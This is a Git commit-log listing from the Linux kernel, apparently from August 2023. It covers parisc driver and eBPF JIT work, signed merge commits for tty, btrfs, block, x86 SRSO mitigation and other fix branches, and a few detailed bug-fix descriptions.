Commit Graph

1201782 Commits

Author SHA1 Message Date
Helge Deller
49663185d0 parisc: hppb: Convert HP PB bus driver to use arch_initcall()
Signed-off-by: Helge Deller <deller@gmx.de>
2023-08-27 09:17:37 +02:00
Helge Deller
07c34e9fdc parisc: dino: Convert dino PCI bus driver to use arch_initcall()
Signed-off-by: Helge Deller <deller@gmx.de>
2023-08-27 09:17:37 +02:00
Helge Deller
59bf860a97 parisc: Makefile: Adjust order in which drivers should be loaded
This is the order in which the drivers are initialized in setup.c.
The order is important when the drivers are convertet to use the
initcall_*() startup framework.

Signed-off-by: Helge Deller <deller@gmx.de>
2023-08-27 09:17:37 +02:00
Helge Deller
358ad816e5 parisc: led: Reduce CPU overhead for disk & lan LED computation
Older PA-RISC machines have LEDs which show the disk- and LAN-activity.
The computation is done in software and takes quite some time, e.g. on a
J6500 this may take up to 60% time of one CPU if the machine is loaded
via network traffic.

Since most people don't care about the LEDs, start with LEDs disabled and
just show a CPU heartbeat LED. The disk and LAN LEDs can be turned on
manually via /proc/pdc/led.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: <stable@vger.kernel.org>
2023-08-26 10:14:42 +02:00
Helge Deller
8f01caf0c5 parisc: Avoid ioremap() for same addresss in iosapic_register()
The LBA has already called ioremap() to get it's virtual address,
which can be used for the IOSAPIC as well.
Avoid calling ioremap() again and just reuse the correct
iomem address for the IOSAPIC.

Signed-off-by: Helge Deller <deller@gmx.de>
2023-08-22 10:24:47 +02:00
Helge Deller
98a9d5f07e parisc: unaligned: Simplify 32-bit assembly in emulate_std()
No need to extract upper and lower 32bit values of the 64-bit value. Use
gcc's %R1 to access lower 32-bits and %1 to access upper 32-bits
instead.

Signed-off-by: Helge Deller <deller@gmx.de>
2023-08-22 10:24:47 +02:00
Helge Deller
4800a6215e parisc: Wire up eBPF JIT compiler
Signed-off-by: Helge Deller <deller@gmx.de>
2023-08-22 10:24:47 +02:00
Helge Deller
6b3cba3759 parisc: Fix comment on Elf64 function descriptor
The format of the Elf64 function descriptor is defined by the ABI.
Mention the various use cases in the comment.

Signed-off-by: Helge Deller <deller@gmx.de>
2023-08-22 10:24:47 +02:00
Helge Deller
22de5d6262 parisc: Add eBPF JIT compiler glue code and Makefile
Signed-off-by: Helge Deller <deller@gmx.de>
2023-08-22 10:24:47 +02:00
Helge Deller
c95e269773 parisc: Add 64-bit eBPF JIT compiler
Signed-off-by: Helge Deller <deller@gmx.de>
2023-08-22 10:24:46 +02:00
Helge Deller
ceb0e72676 parisc: Add 32-bit eBPF JIT compiler
Signed-off-by: Helge Deller <deller@gmx.de>
2023-08-22 10:24:46 +02:00
Helge Deller
3033cd4307 parisc: Use generic mmap top-down layout and brk randomization
parisc uses a top-down layout by default that exactly fits the generic
functions, so get rid of arch specific code and use the generic version
by selecting ARCH_WANT_DEFAULT_TOPDOWN_MMAP_LAYOUT.

Note that on parisc the stack always grows up and a "unlimited stack"
simply means that the value as defined in CONFIG_STACK_MAX_DEFAULT_SIZE_MB
should be used. So RLIM_INFINITY is not an indicator to use the legacy
memory layout.

Signed-off-by: Helge Deller <deller@gmx.de>
2023-08-22 10:24:46 +02:00
Helge Deller
9f5ba4b3e1 parisc: Fix /proc/cpuinfo output for lscpu
The lscpu command is broken since commit cab56b51ec ("parisc: Fix
device names in /proc/iomem") added the PA pathname to all PA
devices, includig the CPUs.

lscpu parses /proc/cpuinfo and now believes it found different CPU
types since every CPU is listed with an unique identifier (PA
pathname).

Fix this problem by simply dropping the PA pathname when listing the
CPUs in /proc/cpuinfo. There is no need to show the pathname in this
procfs file.

Fixes: cab56b51ec ("parisc: Fix device names in /proc/iomem")
Signed-off-by: Helge Deller <deller@gmx.de>
Cc: <stable@vger.kernel.org> # v4.9+
2023-08-22 10:24:46 +02:00
Helge Deller
51c70a09c3 parisc: Use page table locks only if DEBUG_KERNEL is enabled
The usage of page table locks in TLB fault handler is usually
only needed when debugging the kernel. So make this configuration
option dependend on DEBUG_KERNEL.

Signed-off-by: Helge Deller <deller@gmx.de>
2023-08-20 20:23:46 +02:00
Helge Deller
75c6d0836e parisc: traps: Drop cpu_lpmc function pointer
This function pointer is only used by one function, so no need
to keep such an indirection.

Signed-off-by: Helge Deller <deller@gmx.de>
2023-08-20 20:23:46 +02:00
Helge Deller
390a2086a4 parisc: Drop the pa7300lc LPMC handler
This was actually never really used, and the info it
prints won't help. Drop it.

Signed-off-by: Helge Deller <deller@gmx.de>
2023-08-20 20:23:46 +02:00
Helge Deller
e71d47dc2a parisc: lasi: Register LASI power-off feature as sys_off_handler
Prefer the Linux kernel sys_off_handler functionality over a
home-grown implementation.

Signed-off-by: Helge Deller <deller@gmx.de>
2023-08-20 20:23:46 +02:00
Linus Torvalds
706a741595 Linux 6.5-rc7 2023-08-20 15:02:52 +02:00
Linus Torvalds
b320441c04 TTY/Serial fixes for 6.5-rc7
Here are some small tty and serial core fixes for 6.5-rc7 that resolve a
 lot of reported issues.
 
 Primarily in here is the fixes for the serial bus code from Tony that
 came in -rc1, as it hit wider testing with the huge number of different
 types of systems and serial ports.  All of the reported issues with
 duplicate names and other issues with this code are now resolved.
 
 Other than that included in here is:
  - n_gsm fix for a previous fix
  - 8250 lockdep annotation fix
  - fsl_lpuart serial driver fix
  - TIOCSTI documentation update for previous CAP_SYS_ADMIN change
 
 All of these have been in linux-next for a while with no reported
 problems.
 
 Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
 -----BEGIN PGP SIGNATURE-----
 
 iG0EABECAC0WIQT0tgzFv3jCIUoxPcsxR9QN2y37KQUCZOEjmg8cZ3JlZ0Brcm9h
 aC5jb20ACgkQMUfUDdst+ykpSgCfajOM7BUzL1kOrfKNvHQuPmOYlIUAnAot+4M+
 HkvS58Xs2+PM14y/KG1j
 =6DRj
 -----END PGP SIGNATURE-----

Merge tag 'tty-6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/tty

Pull tty/serial fixes from Greg KH:
 "Here are some small tty and serial core fixes for 6.5-rc7 that resolve
  a lot of reported issues.

  Primarily in here are the fixes for the serial bus code from Tony that
  came in -rc1, as it hit wider testing with the huge number of
  different types of systems and serial ports. All of the reported
  issues with duplicate names and other issues with this code are now
  resolved.

  Other than that included in here is:

   - n_gsm fix for a previous fix

   - 8250 lockdep annotation fix

   - fsl_lpuart serial driver fix

   - TIOCSTI documentation update for previous CAP_SYS_ADMIN change

  All of these have been in linux-next for a while with no reported
  problems"

* tag 'tty-6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/tty:
  serial: core: Fix serial core port id, including multiport devices
  serial: 8250: drop lockdep annotation from serial8250_clear_IER()
  tty: n_gsm: fix the UAF caused by race condition in gsm_cleanup_mux
  serial: core: Revert port_id use
  TIOCSTI: Document CAP_SYS_ADMIN behaviour in Kconfig
  serial: 8250: Fix oops for port->pm on uart_change_pm()
  serial: 8250: Reinit port_id when adding back serial8250_isa_devs
  serial: core: Fix kmemleak issue for serial core device remove
  MAINTAINERS: Merge TTY layer and serial drivers
  serial: core: Fix serial_base_match() after fixing controller port name
  serial: core: Fix serial core controller port name to show controller id
  serial: core: Fix serial core port id to not use port->line
  serial: core: Controller id cannot be negative
  tty: serial: fsl_lpuart: Clear the error flags by writing 1 for lpuart32 platforms
2023-08-20 08:26:51 +02:00
Linus Torvalds
ec27a636d7 Rust fixes for 6.5-rc7
- Macros: fix 'HAS_*' redefinition by the '#[vtable]' macro
    under conditional compilation.
 -----BEGIN PGP SIGNATURE-----
 
 iQIzBAABCgAdFiEEPjU5OPd5QIZ9jqqOGXyLc2htIW0FAmThFSQACgkQGXyLc2ht
 IW1H5w/7BrYr2h+KYBtpDKagivO1Gm+OnIY0T2cN/bv+6Wt3XFqjyXrlUpQYZpVA
 s6V7W7ihJ2+HThGIZNrrjtFX/MetRxc4PT8RH3ixOkd7yggPfHegRGI59QNrHeAB
 9Z8hhhTp2qqcBq4asA+5twsO6HBuGAfVRCyi62dhfmq3fGUGhp7PWKrIOZ+Fd5bX
 SgU0uqHJegyXSx5obH5pwMM+CMr6+obgM99DWMCbKEysS1kEapZg8o5jQ+8wmpsh
 vnUfMt7vtWVrd1KHV+lyVJz1VgugQudfd3YyO1RueAc8uq1sNexTTgz7wqDDLiN2
 KuGIVFt5+iMcgUbRzPA87muArpIOBJntjt20i4HUb+Xj5lp8raLUuvs1lF6iPvbK
 WqxGhpnA81UuYnWpshUx0iqv6lZFIYZ2WlhGcvQcpCKVkWdCgEUDRMdi9ZRvCRyQ
 2ezye2c8sBhjvSmKcvQSMWY2sE3IQ4MRqbyiV9qnXnLe83FNDX5VuFAsShBKFpsa
 A4I6LkCVWjBcLTDi+ggg6cAzWTQtULzi7acwWS3qw4W0Yj/jtHH4Ire9EljW/CV/
 CvM+7p59Ff18h28Pz6dip5s/n1VEVZozeTOIonw9p28Na+5Y+pUbRkpoZZh6mYhW
 So55wSLR4TT7lYY9W1PgW5NEcTZm0BuJ9ZJwNsySy5NU7kWfvZk=
 =McGU
 -----END PGP SIGNATURE-----

Merge tag 'rust-fixes-6.5-rc7' of https://github.com/Rust-for-Linux/linux

Pull rust fix from Miguel Ojeda:

 - Macros: fix 'HAS_*' redefinition by the '#[vtable]' macro
   under conditional compilation

* tag 'rust-fixes-6.5-rc7' of https://github.com/Rust-for-Linux/linux:
  rust: macros: vtable: fix `HAS_*` redefinition (`gen_const_name`)
2023-08-20 08:18:58 +02:00
Linus Torvalds
9e6c269de4 Usual set of driver fixes. A bit more than usual because I was
unavailable for a while.
 -----BEGIN PGP SIGNATURE-----
 
 iQIzBAABCgAdFiEEOZGx6rniZ1Gk92RdFA3kzBSgKbYFAmTg7RsACgkQFA3kzBSg
 KbbVXw/9GjnFwj0sazyKuHJdE3l3lP5RbWPhO9lF4pwSG2XAyVMLjpcsN27LvrKl
 eu19hAu0a6C/PlUgYieCak/yl/9Xv08gxAcyI+PquAVtJ2XuWtsDUc0y1Rq2O53v
 xFtQEy5eARWH3hI7f2rBbZWpgIXit7Xd+WLNRREttQgRRN8L9qmOwiZKuG2S2UQa
 QMFn6qcOccwtkkvv992sZ4Pw54d9nOFCxKNim0TCiEKL9lgIelnrCJzqpw+yFRz/
 a/bDtb2lLJGHeaSsjCH4dyobecLLXd/DtJSenCCGJUpfQ9cU9AqZDH/EUKQEUHyQ
 p+LbixN/0viDZALwMzsXxPp+HuSouYr9m6s0ZstMUO73y9ydhaSoquq0f5eRjKbI
 PRyhtBw55QLduoOITPcyPMwBxEIxXWhoNbF4hRnpdIRzLQ/JB+kO5a3RZ4BYFMP1
 Rjz3vBKf2xzxlHJStYltNexmgPQ8PsfC6b7VJdyTOV74KUBADvWXPlBH/1tsppDX
 wwQMrYE7ouzhJ1ypq6sDj7/ERjw9+0+XVbnlyEi6S9XXx1OkzHN6HMZWC34LCXiR
 NXowjvU3O22wTnK3jzo2rIbJ+FPOYcaLcqV87vBCWigEByJ9jGxrwBBy2y4qsmyI
 MpwwiXEuODdA1OEByxkCY3U5bfIjdW7QzPGb6tJEPJNWjFOHG3w=
 =mRg9
 -----END PGP SIGNATURE-----

Merge tag 'i2c-for-6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/wsa/linux

Pull i2c fixes from Wolfram Sang:
 "Usual set of driver fixes. A bit more than usual because I was
  unavailable for a while"

* tag 'i2c-for-6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/wsa/linux:
  i2c: bcm-iproc: Fix bcm_iproc_i2c_isr deadlock issue
  i2c: Update documentation to use .probe() again
  i2c: sun6i-p2wi: Fix an error message in probe()
  i2c: hisi: Only handle the interrupt of the driver's transfer
  i2c: tegra: Fix i2c-tegra DMA config option processing
  i2c: tegra: Fix failure during probe deferral cleanup
  i2c: designware: Handle invalid SMBus block data response length value
  i2c: designware: Correct length byte validation logic
  i2c: imx-lpi2c: return -EINVAL when i2c peripheral clk doesn't work
2023-08-19 19:22:41 +02:00
Linus Torvalds
12e6ccedb3 for-6.5-rc6-tag
-----BEGIN PGP SIGNATURE-----
 
 iQIzBAABCgAdFiEE8rQSAMVO+zA4DBdWxWXV+ddtWDsFAmTgyQQACgkQxWXV+ddt
 WDvqSQ/+PFg0GwssGuiqWTGbfHV2bJCJWeuXUJNuKFo8PtEnpN0zf28ihsaRXAHF
 ZDFKrRjEmb62n+EWJFDpC7wmnz6UJEoEtQteN2VBnLSIUQAKFI+g5flXrR85rk1D
 d52JSXtaXSZeCtZH/wdYWdfkL19SJQqJrFDY1WmRLCylOsLHuG0a67fXNeL+5WM/
 NgGUMk0bO/j2CKjiCwJT4EpsSP4tFj49TciuDESyXnS8aDbPLbAQkGpYlE+99HSj
 D3vjZeqdVfmVhSjdIrK2eTlndzCl+HU+J1DXHzRE6I5XkXhzofJFtrlsvl++C9pv
 UZL9bFyMFzybKME33RWvzXBhiRguZ4hfGBoh5FQbJl4yErU4I5RVZcd3/S/2V6n+
 AzWemwkOdLEiiPD+aLV28EYdKpnd4GFweVTxeXjdXrJrSx/e4Vn/kPNq1aZJi6Qi
 ex3hZWr0oN7JG/StN6i3ix09fEB8cyDzn/jaEwk5zb6uHVN8fw7whkVwZOvFkXx5
 VcPxZOyxBFxwmN+L6JlxkIGEpu8UQC2RHa1JJzDTXJPqpz6W68d2wJ8jlDFJYUaf
 fahDd8FoG/e/EYh8sPsOnp3gMY53UxxWLF8fuZXVScq9+g5zA3jfftF+a3TaA5bh
 e119g0ml+KIGtTB7Q8nLob4PA12NNhNtHbKfdSPDhOfvz8heg9A=
 =eFDQ
 -----END PGP SIGNATURE-----

Merge tag 'for-6.5-rc6-tag' of git://git.kernel.org/pub/scm/linux/kernel/git/kdave/linux

Pull btrfs fixes from David Sterba:

 - fix infinite loop in readdir(), could happen in a big directory when
   files get renamed during enumeration

 - fix extent map handling of skipped pinned ranges

 - fix a corner case when handling ordered extent length

 - fix a potential crash when balance cancel races with pause

 - verify correct uuid when starting scrub or device replace

* tag 'for-6.5-rc6-tag' of git://git.kernel.org/pub/scm/linux/kernel/git/kdave/linux:
  btrfs: fix incorrect splitting in btrfs_drop_extent_map_range
  btrfs: fix BUG_ON condition in btrfs_cancel_balance
  btrfs: only subtract from len_to_oe_boundary when it is tracking an extent
  btrfs: fix replace/scrub failure with metadata_uuid
  btrfs: fix infinite directory reads
2023-08-19 17:57:07 +02:00
Linus Torvalds
b5cab28be6 fbdev fixes and cleanups for 6.5-rc7:
- various code cleanups in amifb, atmel_lcdfb, ssd1307fb, kyro and goldfishfb
 -----BEGIN PGP SIGNATURE-----
 
 iHUEABYKAB0WIQS86RI+GtKfB8BJu973ErUQojoPXwUCZODeUwAKCRD3ErUQojoP
 X4RvAP97hetBNJFMw3N34QT4TYT3NUAhR12z73YFTi/PeKVSMgEA4nQHXuSP5Ymv
 5+FNFsEHGJs6p25AMDc6oDKTYkVuMQc=
 =PYOb
 -----END PGP SIGNATURE-----

Merge tag 'fbdev-for-6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/deller/linux-fbdev

Pull fbdev fixes and cleanups from Helge Deller:

 - various code cleanups in amifb, atmel_lcdfb, ssd1307fb, kyro and
   goldfishfb

* tag 'fbdev-for-6.5-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/deller/linux-fbdev:
  fbdev: goldfishfb: Do not check 0 for platform_get_irq()
  fbdev: atmel_lcdfb: Remove redundant of_match_ptr()
  fbdev: kyro: Remove unused declarations
  fbdev: ssd1307fb: Print the PWM's label instead of its number
  fbdev: mmp: fix value check in mmphw_probe()
  fbdev: amifb: Replace zero-length arrays with DECLARE_FLEX_ARRAY() helper
2023-08-19 17:43:55 +02:00
Linus Torvalds
2383ffc41a block-6.5-2023-08-19
-----BEGIN PGP SIGNATURE-----
 
 iQJEBAABCAAuFiEEwPw5LcreJtl1+l5K99NY+ylx4KYFAmTg19oQHGF4Ym9lQGtl
 cm5lbC5kawAKCRD301j7KXHgpmLjD/wKs0hA4JOQDqZPZK1p1aBU4f0vXwQxFGlL
 +gcnO4/MIB/5Ud+T+SXYuMrimLws7xsVbymcGatiRjH8LTfJVXFhuAzLILi0AcHw
 nhzjOUEzHokUex+tZLZRZxmavR+9SyGJoFNIbh+mY8JOLdNVzFDSqnLWO+D02Q2R
 OOBupA0mLRelYODEm2rI4xlQndwfrOAoAyEv+R7Ug0F6bFSno36QOg64pmZVI0Fl
 eudORXnIRYdtUajv+kNATWoqBbq/UCuBJdk0veM07Try6ZGRXRh6dQSA+GRh93pE
 Zg3JAHj4MKwlP3/wglw3SzoeECHpZrKQavIQQe9pTWKP4xGI/jdbVBcyFE0ERc66
 HijMo6CLeAzpOI1nEv+QhD8ntr4polEiWL4EVLuoXE9fVI1mYzavqmqrsDHeOHeF
 IJHadXZwsTG243msDvqedy0RFBwAkpnK0XdQuDtMnSa7UHwWWbxwUOwO5p4COJ3g
 vmrCfPQr7TTgkOtAXoMnwOZ1troEGxa/2CdUKaTdVG8RkMeM2qy8tmBBTV9Bx6+i
 rwQbB/JJm5SE6DX309TRaR6w+5YiwR6e7ECKx5hdYXia7M3OxlBBvl1NOfiWjWE3
 abC38/FReHLmFKHaDaN2AM1vLy+duc4NEc/yMQ4FDcfj/hUHQCoZBPYUsvlC+a4e
 Ws4qoMLU8A==
 =LnzH
 -----END PGP SIGNATURE-----

Merge tag 'block-6.5-2023-08-19' of git://git.kernel.dk/linux

Pull block fixes from Jens Axboe:
 "Main thing here is the fix for the regression in flush handling which
  caused IO hangs/stalls for a few reporters. Hopefully that should all
  be sorted out now. Outside of that, just a few minor fixes for issues
  that were introduced in this cycle"

* tag 'block-6.5-2023-08-19' of git://git.kernel.dk/linux:
  blk-mq: release scheduler resource when request completes
  blk-crypto: dynamically allocate fallback profile
  blk-cgroup: hold queue_lock when removing blkg->q_node
  drivers/rnbd: restore sysfs interface to rnbd-client
2023-08-19 17:31:46 +02:00
Chengming Zhou
e5c0ca1365 blk-mq: release scheduler resource when request completes
Chuck reported [1] an IO hang problem on NFS exports that reside on SATA
devices and bisected to commit 615939a2ae ("blk-mq: defer to the normal
submission path for post-flush requests").

We analysed the IO hang problem, found there are two postflush requests
waiting for each other.

The first postflush request completed the REQ_FSEQ_DATA sequence, so go to
the REQ_FSEQ_POSTFLUSH sequence and added in the flush pending list, but
failed to blk_kick_flush() because of the second postflush request which
is inflight waiting in scheduler queue.

The second postflush waiting in scheduler queue can't be dispatched because
the first postflush hasn't released scheduler resource even though it has
completed by itself.

Fix it by releasing scheduler resource when the first postflush request
completed, so the second postflush can be dispatched and completed, then
make blk_kick_flush() succeed.

While at it, remove the check for e->ops.finish_request, as all
schedulers set that. Reaffirm this requirement by adding a WARN_ON_ONCE()
at scheduler registration time, just like we do for insert_requests and
dispatch_request.

[1] https://lore.kernel.org/all/7A57C7AE-A51A-4254-888B-FE15CA21F9E9@oracle.com/

Link: https://lore.kernel.org/linux-block/20230819031206.2744005-1-chengming.zhou@linux.dev/
Reported-by: kernel test robot <oliver.sang@intel.com>
Closes: https://lore.kernel.org/oe-lkp/202308172100.8ce4b853-oliver.sang@intel.com
Fixes: 615939a2ae ("blk-mq: defer to the normal submission path for post-flush requests")
Reported-by: Chuck Lever <chuck.lever@oracle.com>
Signed-off-by: Chengming Zhou <zhouchengming@bytedance.com>
Tested-by: Chuck Lever <chuck.lever@oracle.com>
Link: https://lore.kernel.org/r/20230813152325.3017343-1-chengming.zhou@linux.dev
[axboe: folded in incremental fix and added tags]
Signed-off-by: Jens Axboe <axboe@kernel.dk>
2023-08-19 07:47:17 -06:00
Linus Torvalds
aa9ea98cca media fixes for v6.5-rc7
-----BEGIN PGP SIGNATURE-----
 
 iQIzBAABCAAdFiEE+QmuaPwR3wnBdVwACF8+vY7k4RUFAmTc0qUACgkQCF8+vY7k
 4RXRqQ//RPlpmt65W0iXWkGjfqIJENhPpjC18ae3UWkK7ecSfV9PY8rOUmDea31H
 SrJCMjDjHB2FkIQlQ0Ljx16X+MIiJZYPsk2PfsF0kTsvbIvz7ZD6zYW0ZJW7PtNL
 TDh9nNMQrKPH6H1BjSmDK18jz6IyQu7aCSi4rVd5NjzvIltgo7O/GFo3+8PtZA0j
 aa0KbB7ginzAjZSefbqy7uSF6ca0u/VNmp1J3yGeCPUsPnUJUSOeSmtAx2deV0gM
 t6ICC79hyUJbpA1g9XE3Yj6oOT1GgHbWAG8cstEXTnK7F/u1uKTNyMOhrcEF1fnf
 hN4it5Q9kujmN6dfk6R9q8boes3omtEKyh6LIhjzAVqvOCY9R3BnCzfUkYfWfXRq
 Uu51I8kXQTc2bm3nFKk3323JcfZuZkAkwl2GKJJXMJFkYxux3by8tyJI3IIRRfO5
 HYj/WnoM1VoKQ4Voa76jCv8gUZNwWEFcgXIIf6X6UWf5pDAy36gZFqQ1Jtb6Hk8l
 VbWC+o+7pG+e770Iw/dYDTPLWG23/C0tMvr1ra+nBKFDx38u49nbpQKa7WEDWL9w
 X51ldQ+Oww/zOSh1l85ZPid0xyEtPBjmf8jc9Jui1XwneW9j/4M2FzLRvWmbyf2v
 9EtxBXVVeWTCgEi2gthXqNGpfGMQJh+xaXpghnYzPPoYn3LI05M=
 =57HD
 -----END PGP SIGNATURE-----

Merge tag 'media/v6.5-3' of git://git.kernel.org/pub/scm/linux/kernel/git/mchehab/linux-media

Pull media fixes from Mauro Carvalho Chehab:
 "Three driver fixes"

* tag 'media/v6.5-3' of git://git.kernel.org/pub/scm/linux/kernel/git/mchehab/linux-media:
  media: imx: imx7-media-csi: Fix applying format constraints
  media: uvcvideo: Fix menu count handling for userspace XU mappings
  media: mtk-jpeg: Set platform driver data earlier
2023-08-19 13:13:55 +02:00
Linus Torvalds
bf98bae3d8 - Use LEA ...%rsp instead of ADD %rsp in the Zen1/2 SRSO return sequence
as latter clobbers flags which interferes with fastop emulation in
   KVM, leading to guests freezing during boot
 
 - A fix for the DIV(0) quotient data leak on Zen1 to clear the divider
   buffers at the right time
 
 - Disable the SRSO mitigation on unaffected configurations as it got
   enabled there unnecessarily
 
 - Change .text section name to fix CONFIG_LTO_CLANG builds
 
 - Improve the optprobe indirect jmp check so that certain configurations
   can still be able to use optprobes at all
 
 - A serious and good scrubbing of the untraining routines by PeterZ:
  - Add proper speculation stopping traps so that objtool is happy
  - Adjust objtool to handle the new thunks
  - Make the thunk pointer assignable to the different untraining
    sequences at runtime, thus avoiding the alternative at the return
    thunk. It simplifies the code a bit too.
  - Add a entry_untrain_ret() main entry point which selects the
    respective untraining sequence
  - Rename things so that they're more clear
  - Fix stack validation with FRAME_POINTER=y builds
 
 - Fix static call patching to handle when a JMP to the return thunk is
   the last insn on the very last module memory page
 
 - Add more documentation about what each untraining routine does and
   why
 -----BEGIN PGP SIGNATURE-----
 
 iQIzBAABCgAdFiEEzv7L6UO9uDPlPSfHEsHwGGHeVUoFAmTge4wACgkQEsHwGGHe
 VUpgwRAAgP1dAq4c/DuLQh/+Mao/pM+EiNxwoDTNJ27ZoRfXG5vLXF3++TRkmFKB
 ua+jEhkNTAH1xyF+um4exjUD2UC62UfNo4wBZPjl+jVmguHqpsNOsZj7M3+GRD+3
 vRWspaOnNPKOIVdtvftaS6J3YavFUolwZSRC9HCFQiriX5zV4BlMZEJxkWw6LNW6
 LeJt4qmbDXCIzmCRqEmtNBOhuWuMvhwWg9G1Aq4MLcHf+gHSEGNnY8Otl7YPPeqr
 ys9vE5hQ3NiUmBkGnhw+Mj3gGFCL2fzWF0XqY8VCTPcYTVRFen7BmelhJVm7RhAr
 wpXdyCU+bV4qrn2uRpBSbzH/DfxfQA2xbRtBR+L7x5ZbHamFyi17fN94AQv2WUXz
 7TUdooWPuJLPQ2CHAgSChTEF/CZBl6pYHEorHkzA1GqV0omMT7hg8GEHn17JGI5v
 FDPGYHuznsu59DhGNh7Wx4hLO10slvkSHly+se7eCaDr1hDIpJtiZLxn6n+SphZh
 qzYc+Pxa3UcgNSxqqfOBqDWQQNdoYqx1ONao8nWgjj+/y0eIEf27uqIDT/o5tb7E
 YejDq7xO00CartGm2g/0S0OvDvRTWbU0LoGMKNxo/HTD+goM8pa7vdE77g5NNSCy
 wG0BnFWni53p66JJzzxxgPG39OYu9NR6ilcOTYT9jlPT3ZMySYg=
 =ndko
 -----END PGP SIGNATURE-----

Merge tag 'x86_urgent_for_v6.5_rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip

Pull x86 fixes from Borislav Petkov:
 "Extraordinary embargoed times call for extraordinary measures. That's
  why this week's x86/urgent branch is larger than usual, containing all
  the known fallout fixes after the SRSO mitigation got merged.

  I know, it is a bit late in the game but everyone who has reported a
  bug stemming from the SRSO pile, has tested that branch and has
  confirmed that it fixes their bug.

  Also, I've run it on every possible hardware I have and it is looking
  good. It is running on this very machine while I'm typing, for 2 days
  now without an issue. Famous last words...

   - Use LEA ...%rsp instead of ADD %rsp in the Zen1/2 SRSO return
     sequence as latter clobbers flags which interferes with fastop
     emulation in KVM, leading to guests freezing during boot

   - A fix for the DIV(0) quotient data leak on Zen1 to clear the
     divider buffers at the right time

   - Disable the SRSO mitigation on unaffected configurations as it got
     enabled there unnecessarily

   - Change .text section name to fix CONFIG_LTO_CLANG builds

   - Improve the optprobe indirect jmp check so that certain
     configurations can still be able to use optprobes at all

   - A serious and good scrubbing of the untraining routines by PeterZ:
      - Add proper speculation stopping traps so that objtool is happy
      - Adjust objtool to handle the new thunks
      - Make the thunk pointer assignable to the different untraining
        sequences at runtime, thus avoiding the alternative at the
        return thunk. It simplifies the code a bit too.
      - Add a entry_untrain_ret() main entry point which selects the
        respective untraining sequence
      - Rename things so that they're more clear
      - Fix stack validation with FRAME_POINTER=y builds

   - Fix static call patching to handle when a JMP to the return thunk
     is the last insn on the very last module memory page

   - Add more documentation about what each untraining routine does and
     why"

* tag 'x86_urgent_for_v6.5_rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip:
  x86/srso: Correct the mitigation status when SMT is disabled
  x86/static_call: Fix __static_call_fixup()
  objtool/x86: Fixup frame-pointer vs rethunk
  x86/srso: Explain the untraining sequences a bit more
  x86/cpu/kvm: Provide UNTRAIN_RET_VM
  x86/cpu: Cleanup the untrain mess
  x86/cpu: Rename srso_(.*)_alias to srso_alias_\1
  x86/cpu: Rename original retbleed methods
  x86/cpu: Clean up SRSO return thunk mess
  x86/alternative: Make custom return thunk unconditional
  objtool/x86: Fix SRSO mess
  x86/cpu: Fix up srso_safe_ret() and __x86_return_thunk()
  x86/cpu: Fix __x86_return_thunk symbol type
  x86/retpoline,kprobes: Skip optprobe check for indirect jumps with retpolines and IBT
  x86/retpoline,kprobes: Fix position of thunk sections with CONFIG_LTO_CLANG
  x86/srso: Disable the mitigation on unaffected configurations
  x86/CPU/AMD: Fix the DIV(0) initial fix attempt
  x86/retpoline: Don't clobber RFLAGS during srso_safe_ret()
2023-08-19 10:46:02 +02:00
Linus Torvalds
4e7ffde698 powerpc fixes for 6.5 #6
- Fix hardened usercopy BUG when using /proc based firmware update interface.
 
 Thanks to: Nathan Lynch, Kees Cook.
 -----BEGIN PGP SIGNATURE-----
 
 iQJHBAABCAAxFiEEJFGtCPCthwEv2Y/bUevqPMjhpYAFAmTgYHETHG1wZUBlbGxl
 cm1hbi5pZC5hdQAKCRBR6+o8yOGlgEH1D/9C9c6jF5BFNmt9eApkvKO4yIY+4oRJ
 I7+ndtm7IM9M080gtJmZvn1P7hGY8UF0niH/8o2Q1Qg4IgwDIhPO49E5HgYbWxbo
 a+IoiJremW7XORSCvBObYpPy8N2twPWGNGjEGId0ahdbh/BxezB9/1GjsYlVHFgf
 rAnLaZtiAZPcWG1JEX1zyWXh5YN49jV1piylpxZM4EZA1ruiDbjUB0VScppcLZbq
 fyXIlsXJjlmNyxrjXTPtu5XQ6zZt4Me3qUgoIMniOTpDdHMBL/dVJ3IHoy4HwqBH
 VScDEJXBEtJxzZKcOUfZws82Xy8IFaVApUqLZNcb7zYxLh9xmSPibK+IVOiftfRP
 wuwbvL7UUarbRxsMoxcapCeeuWKGAMR+Nl3JyLJxhFGEDiO6qwmXXGxZvVTDYS48
 s8hXpl9gT+e7csj66ZMTBqj8M+f6e50z4VbaR4bvRn/IKxxx60rkMpyeSUzK4zuB
 5Ni4D7trz/W/RMQBsCjAku8MVGUIQwrVwi8zl1w7N90NKaEQZG21AN2csmdc3fSW
 V1EzVOX69NjQYMQIUjYuFBLOhq5SN4FNK9B83DKnJ9VFOb0o7oMd89AyCVTISpAb
 XoGQudE32y2dRKZKlxuvVYprm7X6JFxDnErOfn4ZUhfUTsYPssQswADY4aIRglbg
 juCcPY05ayydxQ==
 =z//y
 -----END PGP SIGNATURE-----

Merge tag 'powerpc-6.5-6' of git://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux

Pull powerpc fix from Michael Ellerman:

 - Fix hardened usercopy BUG when using /proc based firmware update
   interface

Thanks to Nathan Lynch and Kees Cook.

* tag 'powerpc-6.5-6' of git://git.kernel.org/pub/scm/linux/kernel/git/powerpc/linux:
  powerpc/rtas_flash: allow user copy to flash block cache objects
2023-08-19 08:32:16 +02:00
Sweet Tea Dorminy
c984ff1423 blk-crypto: dynamically allocate fallback profile
blk_crypto_profile_init() calls lockdep_register_key(), which warns and
does not register if the provided memory is a static object.
blk-crypto-fallback currently has a static blk_crypto_profile and calls
blk_crypto_profile_init() thereupon, resulting in the warning and
failure to register.

Fortunately it is simple enough to use a dynamically allocated profile
and make lockdep function correctly.

Fixes: 2fb48d88e7 ("blk-crypto: use dynamic lock class for blk_crypto_profile::lock")
Cc: stable@vger.kernel.org
Signed-off-by: Sweet Tea Dorminy <sweettea-kernel@dorminy.me>
Reviewed-by: Eric Biggers <ebiggers@google.com>
